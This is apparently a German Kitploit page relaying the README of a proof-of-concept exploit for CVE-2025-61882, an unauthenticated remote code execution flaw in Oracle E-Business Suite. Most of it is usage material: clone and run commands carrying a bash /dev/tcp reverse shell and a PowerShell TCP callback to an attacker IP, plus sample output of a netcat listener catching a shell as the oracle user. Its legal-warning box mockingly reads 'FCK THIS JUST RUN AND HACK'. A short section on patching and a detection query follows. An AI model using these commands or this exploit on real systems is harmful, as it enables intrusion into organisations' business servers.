CVE-2025-61882-POC — Exploit für CVE-2025-61882, eine kritische Pre-Auth RCE in Oracle E-Business Suite. Kombiniert SSRF, CRLF-Injection, HTTP-Schmuggel und XSLT-Injection für unauthentifizierte Remote-Codeausführung. | Kitploit

CVE-2025-61882 Sicherheitstest-Tool

🚨 KRITISCHE RECHTLICHE WARNUNG

Technische Details in unserem Blogbeitrag

DIESES WERKZEUG IST AUSSCHLIESSLICH FÜR AUTORISIERTE SICHERHEITSTESTS BESTIMMT

╔══════════════════════════════════════════════════════════════╗
║                                                              ║
║  🚨 UNBERECHTIGTER ZUGRIFF AUF COMPUTERSYSTEME IST ILLEGAL 🚨   ║
║                                                              ║
║  Durch die Nutzung dieses Werkzeugs erkennen Sie an und      ║
║  stimmen zu, dass:                                           ║
║                                                              ║
║                                                              ║
║                 FCK THIS JUST RUN AND HACK                   ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
╚══════════════════════════════════════════════════════════════╝

# Repository klonen
git clone https://github.com/[IHR-BENUTZERNAME]/CVE-2025-61882-POC
cd CVE-2025-61882-POC

# Abhängigkeiten installieren
pip3 install -r requirements.txt

# Skript ausführbar machen (Linux/Mac)
chmod +x cve-2025-61882-detector.py

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' \
  --platform linux

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.10\",4444)"' \
  --platform windows

Parameter	Beschreibung	Erforderlich	Beispiel
`--target`	Ziel-URL der Oracle EBS	Ja	`http://192.168.1.22:8000`
`--lhost`	Ihre IP-Adresse (für Rückrufe)	Ja	`192.168.1.10`
`--lport`	HTTP-Server-Port (stellt XSL-Payload bereit)	Ja	`80` oder `8080`
`--command`	Auszuführender Befehl auf dem Ziel	Ja	Siehe Beispiele oben
`--platform`	Ziel-Betriebssystem: `linux` oder `windows`	Ja	`linux`

[*] Target URL:    http://192.168.1.22:8000
[*] Listener IP:   192.168.1.10
[*] Listener Port: 80
[*] Platform:      linux

[*] HTTP server started on 192.168.1.10:80
[*] Connecting to target to retrieve CSRF token...
[*] CSRF TOKEN: WLDW-GNFH-MB4K-76EA-JB48-VY3X-L30R-NZT0
[*] Cooking HTTP smuggle stub...
[*] Sending exploit payload...
[*] Exploit payload sent successfully

[+] 192.168.1.22 - GET /OA_HTML/help/../ieshostedsurvey.xsl HTTP/1.1
[+] XSL payload served successfully

ubuntu@attacker:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.22 30290
bash: no job control in this shell
[oracle@apps EBS_domain]$ id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall)
[oracle@apps EBS_domain]$

Oracle-Notfall-Patch anwenden (Dokument-ID: 30061882.1)

Nach Kompromittierung suchen:

SELECT * FROM XDO_TEMPLATES_B 
WHERE TEMPLATE_CODE LIKE 'TMP%' OR TEMPLATE_CODE LIKE 'DEF%';

Zugriffsprotokolle seit August 2025 überprüfen
Ausgehendes Internet von EBS-Servern blockieren

Beliebteste

CVE-2025-61882-POC

📋 Übersicht

Schwachstellendetails

Technische Zusammenfassung

🎯 Verwendungszwecke

✅ Zulässige Verwendung

❌ Verbotene Verwendung

📦 Installation

Voraussetzungen

Einrichtung

🚀 Verwendung

Schritt 1: Richten Sie Ihren Listener ein

Schritt 2: Führen Sie das Werkzeug aus

Parameter

📊 Beispielausgabe

Werkzeugausgabe

Netcat-Listener-Ausgabe (Wenn anfällig)

🛡️ Erkennung & Verteidigung

Für Sicherheitsverantwortliche

Sofortmaßnahmen

Erkennungsindikatoren

📚 Referenzen

📜 Lizenz